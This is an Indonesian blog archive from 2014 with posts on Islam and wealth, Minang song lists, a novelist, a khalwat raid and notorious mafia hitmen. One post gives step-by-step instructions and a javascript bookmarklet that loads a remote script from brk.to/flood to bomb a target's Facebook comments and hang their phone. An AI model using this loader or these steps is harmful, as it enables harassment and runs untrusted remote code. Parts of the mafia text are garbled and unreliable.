Sabtu, 31 Mei 2014
Harta Dalam Pandangan Islam

Sebagian orang masih ada yang menganggap bahwa harta itu jahat dan hanya akan menjerumuskan ke dalam neraka. Oleh karena itu tidak sedikit orang yang pasrah dalam kemiskinan tanpa berusaha untuk memperbaiki kehidupannya. Padahal harta sangat besar manfaatnya. Dengan harta kita bisa membantu banyak orang. Bahkan ibadah kita akan maksimal bila ditunjang oleh harta.
Disamping itu, harta juga merupakan pilar penegak kehidupan. Dengan harta, seseorang bisa menjalani kehidupannya dengan mandiri. Sebagaimana difirmankan oleh Allah dalam al Quran, ”Jangan kamu serahkan kepada orang-orang yang belum sempurna akalnya, harta mereka yang ada dalam kekuasaanmu yang dijadikan Allah sebagai pokok penegak kehidupan.” (QS Annisa[4]: 5)
Jadi bagi orang beriman, harta merupakan nikmat dari Allah. Justru merekalah yang berhak mewarisi harta karena mereka akan menggunakannya untuk kebaikan. ”Sebaik-baik harta adalah harta yang diberikan dan dimiliki oleh hamba yang shalih”. (HR Ahmad)
Harta itu sendiri bersifat netral. Baik buruknya bergantung pada siapa yang memilikinya. Kalau yang memegangnya orang beriman tentu akan digunakan untuk kebaikan. Tapi kalau dikuasai oleh orang yang tidak beriman bisa jadi digunakan untuk kejahatan.
Oleh karena itu sudah sepantasnya kita mohon kepada Allah agar diberi harta yang banyak dan berlindung dari kemiskinan. ”Dan jika kamu khawatir menjadi miskin, maka Allah akan memberikan kekayaan kepadamu dari karunianya jika Dia menghendaki.” (QS At Taubah[9]: 28)
Kemiskinan itu sendiri pada dasarnya adalah ujian bagi seseorang. Allah ingin melihat bagaimana dia menyikapi rezeki. Kalau mereka hanya meminta belas kasihan orang lain tanpa mau berusaha, berarti dia telah merespon kemiskinan dengan cara yang salah.
Orang yang meminta-minta tergolong orang yang tidak mensyukuri nikmat Allah. Karena salah satu bentuk syukur adalah dengan menggunakan tubuh kita untuk berihtiar mencari karunia Allah, bukan sekadar meminta-minta.
Allah berfirman, ”Dan Allah telah membuat suatu perumpamaan dengan sebuah negeri yang dahulunya aman lagi tentram, rezekinya datang kepadanya melimpah ruah dari segenap penjuru, tetapi penduduknya mengingkari nikmat Allah karena itu Allah menimpakan kepada mereka pakaian kelaparan dan ketakutan, disebabkan apa yang selalu mereka perbuat.” (QS An Nahl [16]: 21). Wallahua’lam.***
Minggu, 13 April 2014
Bom Komentar di Facebook Facebook Comment Flooder

Sebenarnya ini adalah pengembangan dari script Flood wall yang selama ini beredar, untuk pengguna Blackberry yang mengaktifkan apps fb dan fungsi notification aktif, maka akan terjadi hang kalau diserang menggunakan cara ini.
Peringatan : Menggunakan cara ini berkali-kali kemungkinan akun fb sobat terkena blockir dari komentar, sehingga sobat tidak bisa berkomentar lagi. Namun saya sampai saat ini belum mengetahui berapa batas Flood yang dibatasi.
Buat sobat yang ingin mencoba scrip ini, lakukan langkah berikut :
Peringatan : Menggunakan cara ini berkali-kali kemungkinan akun fb sobat terkena blockir dari komentar, sehingga sobat tidak bisa berkomentar lagi. Namun saya sampai saat ini belum mengetahui berapa batas Flood yang dibatasi.
Buat sobat yang ingin mencoba scrip ini, lakukan langkah berikut :
- Sobat login ke akun fb sobat;
- Buka komentar target yang bisa dikomentari, tidak harus di status teman, pada photo yang bisa dikomentari juga bisa kita terapkan script ini;
- Posisi halaman yang terbuka hanya memiliki satu form kotak komentar, jika script ini kita terapkan pada halaman beranda atau home, maka script ini hanya berjalan pada tread yang baru (update);
- Selanjutnya copas code berikut ini;
- Pastekan pada browser (url target), tekan enter;
- Masukkan jumlah komentar yang akan dikirim;
- Masukkan pesan sobat;
- Tunggu hingga beberapa menit (tergantung dari jumlah komentar dan koneksi jaringan). Bisa juga sobat refres atau buka di tab baru;
javascript:(a = (b = document).createElement("script")).src = "//brk.to/flood", b.body.appendChild(a); void(0);
Read more : http://www.wakrizki.net/2011/04/bom-komentar-di-facebook-facebook.html
Sabtu, 12 April 2014
Kumpulan Lagu Lagu Minang Terbaru
Lagu Minang - Di tengah perkembangan musik tanah air, salah satu warisan budaya tradisional yang wajib kita jaga dan lestarikan adalah lagu lagu yang berasal dari suku minangkabau yang berasal dari daerah/provinsi sumatera barat. terdapat ratusan lagu minang yang bagus dan enak didengar, kebanyakan berbahasa minang dan tentu saja banyak diminati dan menjadi favorit masyarakat indonesia pemerhati budaya musik tradisional khususnya masyarakat minang sendiri sebagai asal mula penciptaan lagu tersebut.
Maka dari itu, bagi anda yang sedang mencari judul lagu lagu minang terbaru dan terpopuler lengkap, maka artikel kali ini cocok bagi anda, daftar/list lagu dibawah ini akan membahas kumpulan lagu minang terbaru dari tahun ke tahun beserta penyanyinya, so simak ulasan detail dan review lengkapnya dibawah ini . . .

Kumpulan Lagu Lagu Minang Terbaru :
1. Rio Fernando - Sarang Tabuan
2. Rayola - Tasangkuik Di Awang-Awang
3. Fipo - Ya Allah Ya Robby
4. Nelsons & Yossi NS - Badayuang
5. Edi Cotok & Wati Mono - Amak Dimadu
6. Mus Bintang & Eka Sutai - Bulan Jo Bintang
7. Leni Alfin & Al Kawi - Arok Jalan Sairiang
8. Oyon Khan & Ema Malini - Olalai
9. Mus Bintang - Malapeh Hao
10. Nedi Gampo - Tolong Tangguak
11. Bapisah Bukannyo Bacarai
12. Basuluah Jo Aie Mato
13. Cinto Jan Dibali - Ria Amelia
14. Di Taluak Bayua
15. Jambangan Perak
16. Jo Nan Lain Malah Jadinyo
17. Kasiah Tak Sampai - Ria Amelia
18. Larek Dipanantian
19. Mangkonyo Denai Tagamang ~ Ria Amelia
20. Pulanglah Uda - Ria Amelia
21. Sibuyuang Kinilah Gadang
22. Sinar Riau - Elly Kasim
23. Surek Dari Rantau
24. Takicuah di Nan Tarang
Nah, itu tadi informasi update mengenai daftar kumpulan lagu minang terbaru dan terpopuler yang bisa kami bagikan. daftar judul lagu lagu minang diatas hanya sebagai paduan dan pengetahuan saja, sumber kami dapat dari berbagai situs di internet. anda bisa mendownload mp3 dan video klipnya secara gratis di berbagai situs musik di internet. so sekian dulu artikel lagu minang kali ini. semoga bermanfaat dan bisa menjadi referensi bagi anda pecinta musik minang. terima kasih.
ReadFull Article ..
Di era musik modern seperti sekarang ini, lagu lagu daerah indonesia yang condong ke genre tradisional mulai tergeser dengan lagu lagu indonesia terbaru. padalah banyak sekali lagu lagu daerah khususnya minang yang populer dan dianggap terbaik pada masanya dikarenakan kualitas dan makna yang terkandung dalam lagu minang tersebut. lagu tersebut dibawakan oleh penyanyi dan musisi terkenal khas minang seperti Rayola, Nelson, Fadly atau Elda.

Kumpulan Lagu Lagu Minang Terbaru :
1. Rio Fernando - Sarang Tabuan
2. Rayola - Tasangkuik Di Awang-Awang
3. Fipo - Ya Allah Ya Robby
4. Nelsons & Yossi NS - Badayuang
5. Edi Cotok & Wati Mono - Amak Dimadu
6. Mus Bintang & Eka Sutai - Bulan Jo Bintang
7. Leni Alfin & Al Kawi - Arok Jalan Sairiang
8. Oyon Khan & Ema Malini - Olalai
9. Mus Bintang - Malapeh Hao
10. Nedi Gampo - Tolong Tangguak
11. Bapisah Bukannyo Bacarai
12. Basuluah Jo Aie Mato
13. Cinto Jan Dibali - Ria Amelia
14. Di Taluak Bayua
15. Jambangan Perak
16. Jo Nan Lain Malah Jadinyo
17. Kasiah Tak Sampai - Ria Amelia
18. Larek Dipanantian
19. Mangkonyo Denai Tagamang ~ Ria Amelia
20. Pulanglah Uda - Ria Amelia
21. Sibuyuang Kinilah Gadang
22. Sinar Riau - Elly Kasim
23. Surek Dari Rantau
24. Takicuah di Nan Tarang
Nah, itu tadi informasi update mengenai daftar kumpulan lagu minang terbaru dan terpopuler yang bisa kami bagikan. daftar judul lagu lagu minang diatas hanya sebagai paduan dan pengetahuan saja, sumber kami dapat dari berbagai situs di internet. anda bisa mendownload mp3 dan video klipnya secara gratis di berbagai situs musik di internet. so sekian dulu artikel lagu minang kali ini. semoga bermanfaat dan bisa menjadi referensi bagi anda pecinta musik minang. terima kasih.
Senin, 07 April 2014
Begini Ciri ciri Fisik Rasulullah SAW
.jpg)
Seorang fans pasti sangat mudah membayangkan idolanya kapan saja. Begitupun sebagai seorang muslim, wajar jika kita berusaha membayangkan idola kita, Rasulullah Muhammad SAW. Untungnya, walaupun tidak ada referensi foto atau gambar beliau (karena memang tidak diperkenankan), banyak para sahabat Rasulullah SAW yang telah menyampaikan ciri fisik beliau dalam hadits-hadits.
Ciri fisik Rasulullah Muhammad SAW yang disebutkan para sahabat tersebut, antara lain adalah sebagai berikut:
- Berpostur tubuh sedang dan tegap;
- Tinggi tubuh sedang, tidak tinggi dan tidak pendek;
- Warna kulitnya sedang dan cerah, tidak terlalu putih dan tidak terlalu hitam;
- Sendi-sendi tulang beliau kuat;
- Bentuk kepala beliau agak besar dan kuat;
- Rambutnya tidak keriting, namun juga tidak lurus. Agak berombak;
- Rambutnya cukup tebal, panjangnya sampai batas telinga;
- Memiliki dahi yang lebar;
- Wajah beliau bercahaya;
- Alis mata melengkung dan tebal. Diantara alisnya nampak urat darah halus yang berdenyut bila beliau emosi atau bergairah;
- Warna mata hitam dan bulu mata yang panjang. Terlihat garis-garis merahnya;
- Hidung beliau agak melengkung dan mengkilap jika terkena cahaya serta tampak agak menonjol jika kita pertama kali melihatnya, padahal tidak demikian sebenarnya;
- Mulut beliau sedang, agak lebar;
- Gigi beliau putih cemerlang dan agak renggang;
- Memiliki jenggot hitam dengan uban putih. Jenggotnya tipis tapi penuh rata sampai di pipi;
- Bahunya bidang (lebar) dan kokoh;
- Memiliki dada, tangan dan kaki yang kekar;
- Pergelangan tangan beliau cukup panjang;
- Jari jemari tangan dan kaki beliau tebal dan lentik memanjang;
- Telapak tangan dan kaki beliau agak lebar dan padat berisi;
- Daerah di sekitar tulang belikat beliau cukup lebar, dan terlihat proporsional;
- Memiliki tanda kenabian di antara tulang belikat;
- Dada dan pinggang beliau seimbang ukurannya;
- Lengan dan dada bagian atas beliau berbulu;
- Terdapat bulu-bulu halus tumbuh di dada beliau dan terus kebawah hingga pusar;
- Bagian-bagian tubuh beliau yang tidak tertutup bulu lebat satupun nampak bersih dan bercahaya;
- Tumit beliau langsing;
- Telapak kaki beliau cukup lengkungannya dan atasnya halus serta bagus bentuknya.
Minggu, 16 Maret 2014
Ditolak Penerbit Lokal Novel Mahasiswa Ini Laris Di Luar Negeri

Satu lagi novel terbaru bikinan anak muda Indonesia yang sempat novelnya di tolak berkali-kali oleh penerbit lokal. Novel ini di beri judul “Chronicles of The Fallen:Rebllion” karya Aya Lancaster (23), mahasiswa yang sedang duduk di bangku kuliah ini sekarang ia kuliah di Institut Teknologi Harapan Bangsa, Bandung, setelah beberapa kali novelnya di tolak oleh penerbit lokal akhirnya novel ini di terbitkan di Inggris dan di edarkan di kawasan Eropa.
“Buku ini pertama kalinya di luncurkan pada bulan Oktober 2011. Diedarkannya di Inggris, cetaknya di Amerika,” kata Aya Lancaster, di sela-sela acara diskusi bukunya di Bandung.
Dia mengatakan, sebelumnya novel itu di tolak oleh banyak penerbit lokal. “waktu itu saya sodorkan novel ini ke penerbit di Indonesia malah di tolak. Saya malah sempat di pingpong oleh beberapa penerbit hingga pada akhirnya mereka bilang ke saya bahwa mereka tidak tertarik dengan novel saya ini,” kata Aya.
Menurut dirinya, alasan penerbit Indonesia menolak novel perdananya tersebut mungkin karena belum terbiasa dengan ide atau ceritanya. “Kenapa ditolak, mungkin karena mereka bilang ceritanya agak belum biasa kalau untuk diterbitkan di Indonesia, karena tokoh utamanya itu iblis perempuan. Padahal buku ini bukan seperti yang mereka maksudkan,” kata Aya.
Ditolak oleh penerbit lokal tak mematahkan semangat Aya, mahasiswa Jurusan IT di Institut Teknologi Harapan Bangsa. “Saya disarankan oleh teman saya untuk menawarkan novel saya ini ke penerbit luar dan memang penerbit luar malah menerima dan mau menerbitkan novel saya,” kata Aya.
Saat ini, menurut dia, novelnya itu sudah beredar di Eropa, seperti Inggris, Jerman, Prancis, Italia, Jepang, dan negara tetangga Singapura, serta Amerika Serikat.
Novel itu sudah mendapatkan resensi dari majalah Reader’s Digest. Novel tersebut bercerita tentang sisi lain dari hubungan malaikat dan iblis. “Ceritanya cinta, persahabatan, dan peningkhianatan. Tapi kalau mau ditarik lagi, intinya Tuhan itu tidak ada yang ngalahin,” kata Aya.
Novel ini bisa dipesan amazon.com, ebay.com dan toko buku tertua di Inggris “Barnes and Noble”. Aya menuturkan, peluncuran novel setebal 448 halaman tersebut di Indonesia akan dilakukan di Jakarta dan Bali dalam waktu dekat.
Sabtu, 15 Maret 2014
KHALWAT Remaja 13 Tahun Ditangkap Bersama ‘Awek’ Abangnya Sendiri!
KUALA LUMPUR – Serbuan pihak Jabatan Agama Islam Wilayah Persekutuan (JAWI) di sebuah bilik hotel dikejutkan dengan penemuan seorang remaja lelaki berusia 13 tahun dengan teman wanitanya yang berumur dalam lingkungan 20-an di sini, awal pagi semalam.
Lebih mengejutkan, remaja berkenaan mengaku yang wanita berkenaan adalah ‘awek’ abangnya sendiri.
Dalam serbuan kira-kira pukul 1 pagi itu, remaja berkenaan pada mulanya cuba berbohong dengan mendakwa wanita itu adalah saudara kandungnya.
Menyedari ‘taktiknya’ gagal, remaja berkenaan akhirnya mengaku yang wanita tersebut sebenarnya adalah kekasih abangnya sendiri, yang dibawanya ‘bermalam’ di hotel berkenaan.
Katanya, mereka bermalam di hotel itu kerana gagal menghubungi keluarga untuk pulang ke rumah.
Pasangan berkenaan antara 10 pasangan yang ditahan dalam operasi cegah maksiat sempena Hari Kekasih yang dijalankan penguat kuasa JAWI di sekitar ibu kota bermula jam 12 tengah malam semalam dan berakhir kira-kira jam 4 pagi.
Semua yang ditahan berusia 13 hingga 50 tahun disiasat mengikut Akta Kesalahan Jenayah Syariah (Wilayah-Wilayah Persekutuan) 1997 yang membawa hukuman denda dan penjara jika sabit kesalahan.
Dalam perkembangan berkaitan, Pegawai Perhubungan Awam JAWI, Tuan Asmawi Tuan Omar berkata, pihaknya sebenarnya sentiasa mengadakan serbuan pada setiap malam dan tidak semestinya pada hari-hari tertentu.
” Serbuan sebegini ibarat ‘makan nasi’ bagi anggota penguat kuasa kami cuma bukanlah menjadi amalan jabatan untuk menguar-uarkannya kepada masyarakat kerana bagi kami yang penting adalah kesedaran, bukannya berbangga dengan jumlah tangkapan dan sebagainya.
” Malah semakin kurang jumlah tangkapan sebenarnya satu kejayaan juga kerana sekurang-kurangnya masyarakat mula sedar tentang kesan dan impikasi menjebakkan diri dalam kesalahan syariah sebegini.
” Yang penting kami di JAWI tidak pernah berputus asa untuk memberi kesedaran itu pada masa yang sama proses penguatkuasaan akan terus dijalankan tanpa mengira penat dan lelah,” tegasnya.
Selain pemeriksaan hotel bajet di sekitar ibu kota, penguat kuasa JAWI yang bergerak dalam dua kumpulan seramai 60 itu turut melakukan rondaan di sekitar Taman Tasik Titiwangsa. – Mynewshub.my
Jumat, 14 Maret 2014
10 Pembunuh Paling Sadis dari Kalangan Keluarga Mafia
Mafia muncul pada pertengahan abad kesembilan belas di Sisilia. Mafia Amerika muncul dari cabang dari Mafia ini, didorong oleh gelombang imigrasi Italia pada abad kesembilan belas. Untuk mendukung asosiasi Mafia, pembunuhan diperlukan untuk menakut-nakuti (meneror) juga untuk membungkam ataupun mengancam seseorang yang terlibat dengan pengadilan anggota mafia agar ada pengurangan bahkan pembatalan hukuman.
Kadang-kadang pembunuhan disebabkan oleh balas dendam atau karena perbedaan pendapat sederhana.
Pembunuhan menjadi profesi dalam mafia;Anggota yang berprofesi sebagai Pembunuh (hitmen) biasanya mempunyai kemampuan di atas rata - rata anggota lainnya. Perencanaan, pelaksanaan dan pembuangan sisa-sisa (penghilangan mayat) adalah bagian dari keahlian tambahan bagi pembunuh bayaran yang terampil.
Meskipun mereka mempunyai skill yang hebat, keahlian yang sistematis. Namun sebagian besar dari mereka menemui akhir yang cukup tragis di akhir karir mereka. Baik terbunuh ataupun menghabiskan sisa hidupnya di penjara.Dalam daftar ini saya juga menyertakan nama dari perkumpulan mafia dan anggota yang direkrutnya.
10. Joseph “The Animal” Barboza

Barboza terkenal karena menjadi salah satu pembunuh bayaran paling ditakuti selama tahun 1960, ia diyakini telah menewaskan lebih dari 26 orang. dia memperoleh julukan selama insiden di klub malam ketika dia menggigit dagu seorang pria sampai putus setelah perselisihan.Untuk sementara dia mengejar karir sebagai petinju, memenangkan 8 dari 12 pertandingan dibawah moniker "The Baron." Meskipun ada beberapa upaya untuk menjalani hidupnya yang legal namun dia akan selalu kembali ke kejahatan.
Pada tahun 1950 dia menjalani hukuman 5 tahun di Massachusetts Institute Pemasyarakatan, di mana ia menyerang penjaga dan narapidana lainnya pada berbagai kesempatan. 3 tahun di penjara dia melarikan diri dengan sesama narapidana, namun segera ditangkap kembali. Setelah dibebaskan, dia terlibat dengan gangster besar dan mulai petualangan hitamnya sendiri. Waktu itu dia juga mulai bekerja sebagai pembunuh bayaran pertama untuk Keluarga Penjahat Patriarca.
Selama bertahun-tahun jumlah korbannya bertambah, seperti yang dilakukan reputasinya sebagai pembunuh bayaran. Senjata pembunuh yang disukainya adalah pistol dengan peredam, meskipun diperkirakan ia juga bereksperimen dengan bom mobil.
Barboza segera menjadi sosok yang kuat dan dihormati di dunia kriminal, namun ruam kepribadian dan reputasi kekerasan segera membuat banyak musuh berbahaya.
Setelah dipenjara atas tuduhan pembunuhan, dia mengetahui bahwa teman-teman lamanya merencanakan untuk membunuhnya.
Dia setuju untuk bersaksi melawan bos mafia Raymond Patriarca, sebagai imbalan atas perlindungan oleh FBI. Setelah hidup dalam program perlindungan saksi untuk beberapa waktu, musuh-musuhnya akhirnya bertinjauan mengakap dia. Pada tahun 1976, ia disergap di luar rumahnya dan langsung tewas oleh ditembak.
9. “Crazy” Joe Gallo

Joseph Gallo adalah Anggota mafia yang terkenal dari keluarga mafia Profaci, yang berbasis di New York. Dia membunuh tanpa sebab dan dianggap terlibat dalam banyak kontrak pembunuhan atas perintah bos Joe Profaci. Ironisnya julukannya tidak ada hubungannya dengan reputasi pembunuhnya.
Banyak gangster menjulukinya "Gila" karena kebiasaannya membaca baris dialog dari film-film gangster dan meniru karakter mafia fiktif. Reputasinya melonjak pada tahun 1957 ketika ia dicurigai (meskipun tidak pernah terbukti) menjadi orang-orang bersenjata dalam pembunuhan massa kuat bos Albert Anastasia.
Gallo kemudian memimpin sebuah geng dalam upaya untuk menggulingkan pemimpin keluarga Profaci, Joseph Profaci. Upaya itu tidak bertinjauan dan banyak teman dan kerabatnya secara sistematis dibunuh oleh anak buah Profaci. Situasi makin buruk bagi Gallo, pada tahun 1961 dia dihukum atas tuduhan pemerasan selama 10 tahun penjara.
Saat di penjara dia mencoba untuk membunuh sesama narapidana dengan mengundang mereka secara sopan ke dalam sel dan kemudian memberi mereka makanan dicampur dengan strychnine. Dia dibebaskan setelah menjalani 8 tahun hukumannya. Setelah dibebaskan, Gallo bertekad untuk mengambil alih Joe Kolombo sebagai pemimpin keluarga mafia Kolombo.
Pada tahun 1971 sebuah gangster Afrika-Amerika menembak Kolombo 3 kali di kepala atas perintah Gallo.Namun, Gallo akan segera bertemu dengan akhir tragisnya. Pada tahun 1972 ketika ia sedang makan di sebuah restoran seafood dengan keluarga dan pengawalnya, seorang pria bersenjata gunshot melalui pintu belakang menembak Gallo lima kali di dada. Dia terhuyung-huyung ke jalan dan roboh mati. Tersangka utama pembunuhan itu diduga adalah Carlo Gambino, yang diduga memerintahkan pembunuhan itu sebagai balas dendam karena pembunuhan temannya, Joe Kolombo.
8. Giovanni Brusca

Giovanni Brusca sangat terkenal sebagai salah satu anggota paling kejam dan sadis dalam sejarah Mafia Sisilia. Dia mengklaim telah membunuh lebih dari 200 orang, meskipun angka ini tampaknya tidak mungkin dan pihak berwenang belum banyak mengungkap. Brusca dibesarkan di Palermo, Italia dan mulai bergaul dengan tokoh-tokoh dunia dari usia muda. Dia akhirnya menjadi anggota sebuah "pasukan kematian", yang menyelesaikan pembunuhan atas perintah bos Salvatore Riina. Brusca berpartisipasi dalam pembunuhan jaksa anti-Mafia Giovanni Falcone tahun 1992. Sebuah bom besar dengan berat hampir setengah ton ditempatkan di bawah jalan tol di Palermo.
Ketika mobil Falcone lewat, Brusca meledakkan bom itu, disamping membunuh Falcone banyak warga sipil ikut menjadi korban ledakan yang dasyat tersebut. Ledakan itu begitu besar membuat sebuah lubang besar di jalan dan terekam pada monitor gempa lokal. Segera setelah itu Brusca menghadapi masalah, mantan temannya bernama Giuseppe di Matteo yang juga informan menginformasikan bahwa dia terlibat pembunuhan Falcone.
Untuk membungkam Di Matteo, Brusca anaknya 11 tahun, dan mulai menyiksanya selama 2 tahun.
Dia juga mengirim foto-foto mengerikan dari anak yang disiksa pada Di Matteo, menuntut agar dia menarik kesaksiannya. Akhirnya anak itu dicekik dengan garrote dan tubuhnya dilarutkan dalam asam untuk menghilangkan bukti.
Brusca dijatuhi hukuman penjara seumur hidup namun bertinjauan melarikan diri, dan melanjutkan aktivitas di kejahatan terorganisir. Pihak berwenang akhirnya menangkap dia di sebuah rumah kecil di pedesaan Sisilia. Para petugas yang menangkapnya mengenakan topeng ski untuk menyamarkan identitas mereka dari Mafia, menghindari serangan balasan yang umum dari mafia.
Dia didakwa dan dihukum dengan banyak pembunuhan , di atas kalimat pembunuhan yang dia terima secara in absentia dan saat ini dalam penjara di mana ia akan tetap untuk sisa hari-harinya.
7. John Scalise

John Scalise menjabat sebagai salah satu orang pembunuh utama Al Capone selama era larangan miras tahun 1930-an dan 40an. Ketika dia berusia dua puluh tahun dia kehilangan mata kanannya dalam pertarungan pisau, yang kemudian diganti dengan kaca mata satu. Setelah itu, Scalise memperkuat hubungan massa dan mulai menerima kontrak pembunuhan dari persaudaraan Gennas. Dia kemudian diam-diam membelot ke Chicago outfit dan kontrak menerima kontrak dari Al Capone.
Scalise juga menjalani hukuman penjara 14 tahun untuk pembunuhan waktu itu, dan dia dilaporkan memukuli beberapa narapidana sampai parah.
Dia mungkin adalah yang paling terkenal karena menjadi tersangka dalam Pembantaian Hari St terkenal Valentine, ketika tujuh orang berbaris dinding dan diberondong dengan brutal oleh gangster berpakaian perwira polisi.Scalise ditangkap dan didakwa dengan pembunuhan, meskipun ia dinyatakan tidak bersalah karena kurangnya bukti. Setelah kejadian itu, Capone mendengar rumor bahwa Scalise dan 2 pembunuh bayaran lainnya terlibat dalam komplotan untuk menggulingkan kepemimpinannya. Dia menjawab rumor itu dengan mengundang mereka dalam pesta pribadi sebelum memukuli ketiganya sampai hampir mati dengan tongkat baseball, sampai penegak hukum turun tangan menyelesaikan pekerjaannya dengan pistol.
6. Tommy DeSimone

Tommy DeSimone dikenal dalam penggambaran oleh aktor Joe Pesci pada filem tahun 1990 berjudul "Goodfellas.", digambarkan dalam film DeSimone sebagai seorang pria kecil,namun dalam kenyataan DeSimone besar,kekar,tinggi sekitar 2 meter dan berat 225 pond.
Dia terbukti telah menewaskan sedikitnya 6 orang secara pribadi, meskipun total diperkirakan lebih dari 11.dIa digambarkan oleh informan Henry Hill sebagai "psikopat sejati"
DeSimone melakukan pembunuhan pertamanya pada tahun 1968, saat berjalan di jalan dengan Henry Hill ia melihat seorang pria tak dikenal berjalan menuju pasangan ini. Dia berpaling kepada Henry dan berkata: "Hei, lihat ini" lalu berteriak: "Hei bajingan" dan ketika orang itu menoleh dia menembak orang itu sampai mati.
Ini tidak menjadi yang terakhir kalinya dia membunuh secara sepontan. Di sebuah bar milik mafia Jimmy Burke,adu mulut pecah antara DeSimone dan pelayan bar muda bernama Michael "Spider" Gianco ketika tagihan minuman salah. DeSimone mengeluarkan pistolnya dan menuntut agar si penjaga bar menari untuknya. Ketika Dia menolak, DeSimone menembaknya di kaki.
Seminggu kemudian di bar yang sama DeSimone mulai mengejek Spider karena kakinya terluka dan dia menjawab dengan mengatakan: “Why dont you go fuck yourself Tommy?” Yang membuat orang terbahak. DeSimone segera mengeluarkan pistolnya dan menembak Spider tiga kali di dada, membunuhnya.
Setelah keterlibatannya dalam Heist Lufthansa yang terkenal, Tommy DeSimone menjadi pembunuh bayaran untuk teman dan dalang dari pencurian, Jimmy Burke.Mereka bekerja untuk melenyapkan informan dan meningkatkan tinjauan curian.
Salah satu korban pembunuhan adalah teman yang sangat dekat dengan Tommy bernama Stacks Edwards, seseorang yang pada awalnya enggan untuk dia bunuh. Dia diberitahu oleh Burke bahwa dia mungkin menjadi "buatan" anggota mafia jika dia membocorkan pembunuhan , jadi dia setuju. Mengunjungi tempat persembunyian Stacks Edwards dia menembaknya enam kali di dada dengan pistol berperedam.
Pada akhirnya, temperamen Tommylah yang menyebabkan kematiannya. Dalam kemarahan buta dia telah membunuh dua teman dekat dari keluarga Gambino yaitu bos John Gotti, William "Billy Batts" DeVino dan Foxy Jerothe. Pembalasan terhadap pembunuhan ini Gotti beranggapan harus membunuh DeSimone dengan tangannya sendiri. Henry Hill kemudian mengatakan di acara Howard Stern bahwa pembunuhan itu "Butuh waktu lama" karena Gotti ingin DeSimone menderita. Ketika dia meninggal, dia berusia 28 tahun. Dan mayatnya tidak pernah ditemukan.
5. Salvatore Testa

Salvatore Testa adalah mafia Philadelphia yang menjabat sebagai pembunuh bayaran bagi keluarga kejahatan Scarfo dari 1981 sampai kematiannya pada tahun 1984. Ayahnya, seorang kriminal yang sangat sukses, dibunuh oleh bom paku pada tahun 1981 meninggalkan Testa dengan kontrol dari bisnisnya baik yang legal maupun yang tidak.
Hal ini membuat Testa sangat kaya ketika dia berusia 25-tahun. Testa adalah individu yang sangat agresif dan dia membunuh 15 orang secara pribadi selama tahun-tahun aktifnya. Salah satu korban dari sekian banyak korban adalah orang yang merekayasa pembunuhan ayahnya; mafia sekaligus bodyguard Rocco Marinucci. Mayat Marinucci ditemukan tepat satu tahun setelah pembunuhan ayah Testa . Mayat itu dipenuhi luka tembak dan 3 bom cherry yang tidak meledak disumpalkan di dalam mulutnya.
Testa berkata : ". Saya berharap bajingan itu masih hidup sehingga saya bisa membunuhnya lagi"
Testa juga selamat dalam upaya pembunuhan.Pertama kali, Testa sedang duduk di luar sebuah restoran di sebuah pasar Italia, ketika sebuah Sedan Ford melambat dan dengan sliding shot gun mulai muncul keluar jendela mobil .
Testa terkena banyak tembakan beruntun, mengenai perut dan hampir membuat lengan kirinya putus. Dia akhirnya pulih dan para pelaku terpaksa pergi bersembunyi setelah Testa mengetahui siapa mereka.
Testa bertemu kematiannya setelah dijebak dalam sergapan oleh teman-teman mantan mafia. Dia ditembak di belakang kepalanya dari jarak dekat. Motif pembunuhannya adalah ketakutan yang meningkat dari bos keluarga mafia Scarfo, yang beranggapan Testa sedang berebcana untuk melawannya.
4. Salvatore “Sammy the Bull” Gravano

Sammy the Bull adalah underboss asosiasi dan akhirnya keluarga mafia Gambino.Dia mungkin paling dikenal karena menjadi seorang informan terhadap mantan bos John Gotti. Kesaksiannya membuat Gotti di penjara selama sisa hidupnya. Gravano juga telah melakukan pembunuhan banyak dan kontrak pembunuhan selama karir kriminalnya. Dia dijuluki "The Bull" karena ukuran tubuhnya dan keterkenalannya, dan kebiasaannya untuk menantang tinju mafia lainnya.
Dia mulai aktivitas mafia di akhir tahun 1960 untuk keluarga mafia Colombo. Dia berpartisipasi dalam perampokan bersenjata dan kejahatan kecil lainnya, meskipun dia cepat berkembang ke bidang yang menguntungkan sebagai debt collector. Gravano melakukan pembunuhan pertamanya pada tahun 1970. Rekan rekan Joe Colluci telah berselingkuh dengan teman Gravano, istri Tommy Spero dan telah merencanakan untuk membunuh Spero. Gravano menembak Colluci di kepala dari jarak dekat di sebuah bar milik mafia. Pembunuhan itu membuat Gravano mendapat respek di antara tokoh-tokoh dunia mafia yang kuat.
Pada awal 1970-an Gravano bergabung ke keluarga mafia Gambino. Dia ditangkap atas dugaan pembunuhan namun dia segera dilepas. Saat itu dia mulai kesenangan perampokan berjalan lama berlangsung satu setengah tahun yang mengakibatkan dia menjadi eksekutor dalam keluarga Gambino.
Dia menerima kontrak pembunuhan pertamanya pada tahun 1980. Seorang pria bernama John Simone telah menjadi bagian dari konspirasi untuk kejahatan pembunuhan Philadelphia bos Angelo Bruno, tanpa persetujuan dari komisi mafia dan diputuskan dijatuhi hukuman mati. Gravano menculik Simone dengan bantuan 2 teman dan mengantarnya ke daerah hutan di mana dia menembaknya di kepala dan membuang tubuhnya.
Gravano melakukan pembunuhan ketiga pada awal tahun 1980 setelah raja bisnis kaya menghinanya. Dia disergap di jalan oleh teman-teman Gravano dan ditembak di bagian kepala satu kali juga di bola matanya sekali. Gravano meludahi orang itu saat dia meninggal di lantai.
Gravano kemudian menjadi underboss keluarga kejahatan Gambino di bawah John Gotti, dan pembunuh bayaran favorit Gotti dalam periode itu. Setelah melakukan berbagai kejahatan, dia menawarkan bukti melawan Gotti sebagai imbalan atas pengurangan masa tahanan.
Dia mengaku melakukan 19 pembunuhan namun dia hanya menerima hukuman 5 tahun. Setelah dibebaskan dia bersembunyi dari mafia, meskipun dia kemudian terlibat dengan kejahatan terorganisir di Arizona, dan sekarang di penjara.
3. Giuseppe Greco

Giuseppe Greco adalah seorang mafia Italia yang bekerja sebagai pembunuh bayaran di Palermo, Italia selama 1970-an. Tidak seperti pembunuh bayaran lainnya, Giuseppe Greco saat menjadi buronan untuk sebagian besar karir kriminalnya. Dia jarang bekerja sendiri, tapi menggunakan "pasukan maut" dari gangster yang memegang AK-47 yang secara rutin akan menyergap korban dan memberondongkan korban dengan peluru. Dia dinyatakan bersalah saat menjalankan 58 pembunuhan, meskipun total keseluruhan diperkirakan lebih dari 80.
